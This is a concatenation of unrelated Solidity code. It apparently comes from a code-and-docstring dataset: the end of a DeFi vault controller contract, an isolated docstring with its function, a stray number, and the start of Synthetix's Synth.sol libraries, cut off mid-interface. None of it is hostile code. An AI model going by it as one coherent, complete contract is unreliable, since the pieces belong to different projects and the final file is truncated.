require(_vaultStrategies[_strategy] == address(0), "Strategy is already added"); // get the index of the newly added strategy uint256 index = _vaultDetails[_vault].strategies.length; // ensure we haven't added too many strategies already require(index < maxStrategies, "!maxStrategies"); // push the strategy to the array of strategies _vaultDetails[_vault].strategies.push(_strategy); // set the cap _vaultDetails[_vault].caps[_strategy] = _cap; // set the index _vaultDetails[_vault].index[_strategy] = index; // store the mapping of strategy to the vault _vaultStrategies[_strategy] = _vault; if (_timeout > 0) { // add it to the harvester IHarvester(manager.harvester()).addStrategy(_vault, _strategy, _timeout); } emit StrategyAdded(_vault, _strategy, _cap); } /** * @notice Withdraws token from a strategy to the treasury address as returned by the manager * @param _strategy The address of the strategy * @param _token The address of the token */ function inCaseStrategyGetStuck( address _strategy, address _token ) external onlyStrategist { IStrategy(_strategy).withdraw(_token); IERC20(_token).safeTransfer( manager.treasury(), IERC20(_token).balanceOf(address(this)) ); } /** * @notice Withdraws token from the controller to the treasury * @param _token The address of the token * @param _amount The amount that will be withdrawn */ function inCaseTokensGetStuck( address _token, uint256 _amount ) external onlyStrategist { IERC20(_token).safeTransfer(manager.treasury(), _amount); } /** * @notice Removes a strategy for a given token * @param _vault The address of the vault * @param _strategy The address of the strategy * @param _timeout The timeout between harvests */ function removeStrategy( address _vault, address _strategy, uint256 _timeout ) external notHalted onlyStrategist { require(manager.allowedVaults(_vault), "!_vault"); VaultDetail storage vaultDetail = _vaultDetails[_vault]; // get the index of the strategy to remove uint256 index = vaultDetail.index[_strategy]; // get the index of the last strategy uint256 tail = vaultDetail.strategies.length.sub(1); // get the address of the last strategy address replace = vaultDetail.strategies[tail]; // replace the removed strategy with the tail vaultDetail.strategies[index] = replace; // set the new index for the replaced strategy vaultDetail.index[replace] = index; // remove the duplicate replaced strategy vaultDetail.strategies.pop(); // remove the strategy's index delete vaultDetail.index[_strategy]; // remove the strategy's cap delete vaultDetail.caps[_strategy]; // remove the strategy's balance delete vaultDetail.balances[_strategy]; // remove the mapping of strategy to the vault delete _vaultStrategies[_strategy]; // pull funds from the removed strategy to the vault IStrategy(_strategy).withdrawAll(); // remove the strategy from the harvester IHarvester(manager.harvester()).removeStrategy(_vault, _strategy, _timeout); emit StrategyRemoved(_vault, _strategy); } /** * @notice Reorders two strategies for a given vault * @param _vault The address of the vault * @param _strategy1 The address of the first strategy * @param _strategy2 The address of the second strategy */ function reorderStrategies( address _vault, address _strategy1, address _strategy2 ) external notHalted onlyStrategist { require(manager.allowedVaults(_vault), "!_vault"); require(_vaultStrategies[_strategy1] == _vault, "!_strategy1"); require(_vaultStrategies[_strategy2] == _vault, "!_strategy2"); VaultDetail storage vaultDetail = _vaultDetails[_vault]; // get the indexes of the strategies uint256 index1 = vaultDetail.index[_strategy1]; uint256 index2 = vaultDetail.index[_strategy2]; // set the new addresses at their indexes vaultDetail.strategies[index1] = _strategy2; vaultDetail.strategies[index2] = _strategy1; // update indexes vaultDetail.index[_strategy1] = index2; vaultDetail.index[_strategy2] = index1; emit StrategiesReordered(_vault, _strategy1, _strategy2); } /** * @notice Sets/updates the cap of a strategy for a vault * @dev If the balance of the strategy is greater than the new cap (except if * the cap is 0), then withdraw the difference from the strategy to the vault. * @param _vault The address of the vault * @param _strategy The address of the strategy * @param _cap The new cap of the strategy */ function setCap( address _vault, address _strategy, uint256 _cap, address _convert ) external notHalted onlyStrategist onlyStrategy(_strategy) { _vaultDetails[_vault].caps[_strategy] = _cap; uint256 _balance = IStrategy(_strategy).balanceOf(); // send excess funds (over cap) back to the vault if (_balance > _cap && _cap != 0) { uint256 _diff = _balance.sub(_cap); IStrategy(_strategy).withdraw(_diff); updateBalance(_vault, _strategy); _balance = IStrategy(_strategy).balanceOf(); _vaultDetails[_vault].balance = _vaultDetails[_vault].balance.sub(_diff); address _want = IStrategy(_strategy).want(); _balance = IERC20(_want).balanceOf(address(this)); if (_convert != address(0)) { IConverter _converter = IConverter(_vaultDetails[_vault].converter); IERC20(_want).safeTransfer(address(_converter), _balance); _balance = _converter.convert(_want, _convert, _balance, 1); IERC20(_convert).safeTransfer(_vault, _balance); } else { IERC20(_want).safeTransfer(_vault, _balance); } } } /** * @notice Sets/updates the converter for a given vault * @param _vault The address of the vault * @param _converter The address of the converter */ function setConverter( address _vault, address _converter ) external notHalted onlyStrategist { require(manager.allowedConverters(_converter), "!allowedConverters"); _vaultDetails[_vault].converter = _converter; } /** * @notice Sets/updates the global invest enabled flag * @param _investEnabled The new bool of the invest enabled flag */ function setInvestEnabled( bool _investEnabled ) external notHalted onlyStrategist { globalInvestEnabled = _investEnabled; } /** * @notice Sets/updates the maximum number of strategies for a vault * @param _maxStrategies The new value of the maximum strategies */ function setMaxStrategies( uint256 _maxStrategies ) external notHalted onlyStrategist { maxStrategies = _maxStrategies; } function skim( address _strategy ) external onlyStrategist onlyStrategy(_strategy) { address _want = IStrategy(_strategy).want(); IStrategy(_strategy).skim(); IERC20(_want).safeTransfer(_vaultStrategies[_strategy], IERC20(_want).balanceOf(address(this))); } /** * @notice Withdraws all funds from a strategy * @param _strategy The address of the strategy * @param _convert The token address to convert to */ function withdrawAll( address _strategy, address _convert ) external override onlyStrategist onlyStrategy(_strategy) { address _want = IStrategy(_strategy).want(); IStrategy(_strategy).withdrawAll(); uint256 _amount = IERC20(_want).balanceOf(address(this)); address _vault = _vaultStrategies[_strategy]; updateBalance(_vault, _strategy); if (_convert != address(0)) { IConverter _converter = IConverter(_vaultDetails[_vault].converter); IERC20(_want).safeTransfer(address(_converter), _amount); _amount = _converter.convert(_want, _convert, _amount, 1); IERC20(_convert).safeTransfer(_vault, _amount); } else { IERC20(_want).safeTransfer(_vault, _amount); } uint256 _balance = _vaultDetails[_vault].balance; if (_balance >= _amount) { _vaultDetails[_vault].balance = _balance.sub(_amount); } else { _vaultDetails[_vault].balance = 0; } } /** * HARVESTER-ONLY FUNCTIONS */ /** * @notice Harvests the specified strategy * @param _strategy The address of the strategy */ function harvestStrategy( address _strategy, uint256 _estimatedWETH, uint256 _estimatedYAXIS ) external override notHalted onlyHarvester onlyStrategy(_strategy) { uint256 _before = IStrategy(_strategy).balanceOf(); IStrategy(_strategy).harvest(_estimatedWETH, _estimatedYAXIS); uint256 _after = IStrategy(_strategy).balanceOf(); address _vault = _vaultStrategies[_strategy]; _vaultDetails[_vault].balance = _vaultDetails[_vault].balance.add(_after.sub(_before)); _vaultDetails[_vault].balances[_strategy] = _after; emit Harvest(_strategy); } /** * VAULT-ONLY FUNCTIONS */ /** * @notice Invests funds into a strategy * @param _strategy The address of the strategy * @param _token The address of the token * @param _amount The amount that will be invested */ function earn( address _strategy, address _token, uint256 _amount ) external override notHalted onlyStrategy(_strategy) onlyVault() { // get the want token of the strategy address _want = IStrategy(_strategy).want(); if (_want != _token) { IConverter _converter = IConverter(_vaultDetails[msg.sender].converter); IERC20(_token).safeTransfer(address(_converter), _amount); // TODO: do estimation for received _amount = _converter.convert(_token, _want, _amount, 1); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } _vaultDetails[msg.sender].balance = _vaultDetails[msg.sender].balance.add(_amount); // call the strategy deposit function IStrategy(_strategy).deposit(); updateBalance(msg.sender, _strategy); } /** * @notice Withdraws funds from a strategy * @dev If the withdraw amount is greater than the first strategy given * by getBestStrategyWithdraw, this function will loop over strategies * until the requested amount is met. * @param _token The address of the token * @param _amount The amount that will be withdrawn */ function withdraw( address _token, uint256 _amount ) external override onlyVault() { ( address[] memory _strategies, uint256[] memory _amounts ) = getBestStrategyWithdraw(msg.sender, _amount); for (uint i = 0; i < _strategies.length; i++) { // getBestStrategyWithdraw will return arrays larger than needed // if this happens, simply exit the loop if (_strategies[i] == address(0)) { break; } IStrategy(_strategies[i]).withdraw(_amounts[i]); updateBalance(msg.sender, _strategies[i]); address _want = IStrategy(_strategies[i]).want(); if (_want != _token) { address _converter = _vaultDetails[msg.sender].converter; IERC20(_want).safeTransfer(_converter, _amounts[i]); // TODO: do estimation for received IConverter(_converter).convert(_want, _token, _amounts[i], 1); } } _amount = IERC20(_token).balanceOf(address(this)); _vaultDetails[msg.sender].balance = _vaultDetails[msg.sender].balance.sub(_amount); IERC20(_token).safeTransfer(msg.sender, _amount); } /** * EXTERNAL VIEW FUNCTIONS */ /** * @notice Returns the rough balance of the sum of all strategies for a given vault * @dev This function is optimized to prevent looping over all strategy balances, * and instead the controller tracks the earn, withdraw, and harvest amounts. */ function balanceOf() external view override returns (uint256 _balance) { return _vaultDetails[msg.sender].balance; } /** * @notice Returns the converter assigned for the given vault * @param _vault Address of the vault */ function converter( address _vault ) external view override returns (address) { return _vaultDetails[_vault].converter; } /** * @notice Returns the cap of a strategy for a given vault * @param _vault The address of the vault * @param _strategy The address of the strategy */ function getCap( address _vault, address _strategy ) external view returns (uint256) { return _vaultDetails[_vault].caps[_strategy]; } /** * @notice Returns whether investing is enabled for the calling vault * @dev Should be called by the vault */ function investEnabled() external view override returns (bool) { if (globalInvestEnabled) { return _vaultDetails[msg.sender].strategies.length > 0; } return false; } /** * @notice Returns all the strategies for a given vault * @param _vault The address of the vault */ function strategies( address _vault ) external view returns (address[] memory) { return _vaultDetails[_vault].strategies; } /** * @notice Returns the length of the strategies of the calling vault * @dev This function is expected to be called by a vault */ function strategies() external view override returns (uint256) { return _vaultDetails[msg.sender].strategies.length; } /** * INTERNAL FUNCTIONS */ /** * @notice Returns the best (optimistic) strategy for funds to be withdrawn from * @dev Since Solidity doesn't support dynamic arrays in memory, the returned arrays * from this function will always be the same length as the amount of strategies for * a token. Check that _strategies[i] != address(0) when consuming to know when to * break out of the loop. * @param _vault The address of the vault * @param _amount The amount that will be withdrawn */ function getBestStrategyWithdraw( address _vault, uint256 _amount ) internal view returns ( address[] memory _strategies, uint256[] memory _amounts ) { // get the length of strategies for a single token uint256 k = _vaultDetails[_vault].strategies.length; // initialize fixed-length memory arrays _strategies = new address[](k); _amounts = new uint256[](k); address _strategy; uint256 _balance; // scan forward from the the beginning of strategies for (uint i = 0; i < k; i++) { _strategy = _vaultDetails[_vault].strategies[i]; _strategies[i] = _strategy; // get the balance of the strategy _balance = _vaultDetails[_vault].balances[_strategy]; // if the strategy doesn't have the balance to cover the withdraw if (_balance < _amount) { // withdraw what we can and add to the _amounts _amounts[i] = _balance; _amount = _amount.sub(_balance); } else { // stop scanning if the balance is more than the withdraw amount _amounts[i] = _amount; break; } } } /** * @notice Updates the stored balance of a given strategy for a vault * @param _vault The address of the vault * @param _strategy The address of the strategy */ function updateBalance( address _vault, address _strategy ) internal { _vaultDetails[_vault].balances[_strategy] = IStrategy(_strategy).balanceOf(); } /** * MODIFIERS */ /** * @notice Reverts if the protocol is halted */ modifier notHalted() { require(!manager.halted(), "halted"); _; } /** * @notice Reverts if the caller is not governance */ modifier onlyGovernance() { require(msg.sender == manager.governance(), "!governance"); _; } /** * @notice Reverts if the caller is not the strategist */ modifier onlyStrategist() { require(msg.sender == manager.strategist(), "!strategist"); _; } /** * @notice Reverts if the strategy is not allowed in the manager */ modifier onlyStrategy(address _strategy) { require(manager.allowedStrategies(_strategy), "!allowedStrategy"); _; } /** * @notice Reverts if the caller is not the harvester */ modifier onlyHarvester() { require(msg.sender == manager.harvester(), "!harvester"); _; } /** * @notice Reverts if the caller is not the vault for the given token */ modifier onlyVault() { require(manager.allowedVaults(msg.sender), "!vault"); _; } }
Updates the stored balance of a given strategy for a vault _vault The address of the vault _strategy The address of the strategy/
function updateBalance( address _vault, address _strategy ) internal { _vaultDetails[_vault].balances[_strategy] = IStrategy(_strategy).balanceOf(); }
930,725
/* ⚠⚠⚠ WARNING WARNING WARNING ⚠⚠⚠ This is a TARGET contract - DO NOT CONNECT TO IT DIRECTLY IN YOUR CONTRACTS or DAPPS! This contract has an associated PROXY that MUST be used for all integrations - this TARGET will be REPLACED in an upcoming Synthetix release! The proxy can be found by looking up the PROXY property on this contract. *//* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: Synth.sol * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/Synth.sol * Docs: https://docs.synthetix.io/contracts/Synth * * Contract Dependencies: * - ExternStateToken * - IAddressResolver * - IERC20 * - ISynth * - MixinResolver * - Owned * - Proxyable * - State * Libraries: * - SafeDecimalMath * - SafeMath * * MIT License * =========== * * Copyright (c) 2021 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; Proxy public integrationProxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setIntegrationProxy(address payable _integrationProxy) external onlyOwner { integrationProxy = Proxy(_integrationProxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.synthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/state contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _associatedContract) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/tokenstate contract TokenState is Owned, State { /* ERC20 fields. */ mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {} /* ========== SETTERS ========== */ /** * @notice Set ERC20 allowance. * @dev Only the associated contract may call this. * @param tokenOwner The authorising party. * @param spender The authorised party. * @param value The total value the authorised party may spend on the * authorising party's behalf. */ function setAllowance( address tokenOwner, address spender, uint value ) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } /** * @notice Set the balance in a given account * @dev Only the associated contract may call this. * @param account The account whose value to set. * @param value The new balance of the given account. */ function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } // Inheritance // Libraries // Internal references // https://docs.synthetix.io/contracts/source/contracts/externstatetoken contract ExternStateToken is Owned, Proxyable { using SafeMath for uint; using SafeDecimalMath for uint; /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. */ string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor( address payable _proxy, TokenState _tokenState, string memory _name, string memory _symbol, uint _totalSupply, uint8 _decimals, address _owner ) public Owned(_owner) Proxyable(_proxy) { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner's funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) external view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(address(_tokenState)); } function _internalTransfer( address from, address to, uint value ) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address"); // Insufficient balance will be handled by the safe subtraction. tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transferByProxy( address from, address to, uint value ) internal returns (bool) { return _internalTransfer(from, to, value); } /* * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFromByProxy( address sender, address from, address to, uint value ) internal returns (bool) { /* Insufficient allowance will be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value); } /** * @notice Approves spender to transfer on the message sender's behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ function addressToBytes32(address input) internal pure returns (bytes32) { return bytes32(uint256(uint160(input))); } event Transfer(address indexed from, address indexed to, uint value); bytes32 internal constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer( address from, address to, uint value ) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, addressToBytes32(from), addressToBytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 internal constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval( address owner, address spender, uint value ) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, addressToBytes32(owner), addressToBytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 internal constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } // https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getSynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } // https://docs.synthetix.io/contracts/source/interfaces/isynth interface ISynth { // Views function currencyKey() external view returns (bytes32); function transferableSynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Synthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.synthetix.io/contracts/source/interfaces/iissuer interface IIssuer { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function canBurnSynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function 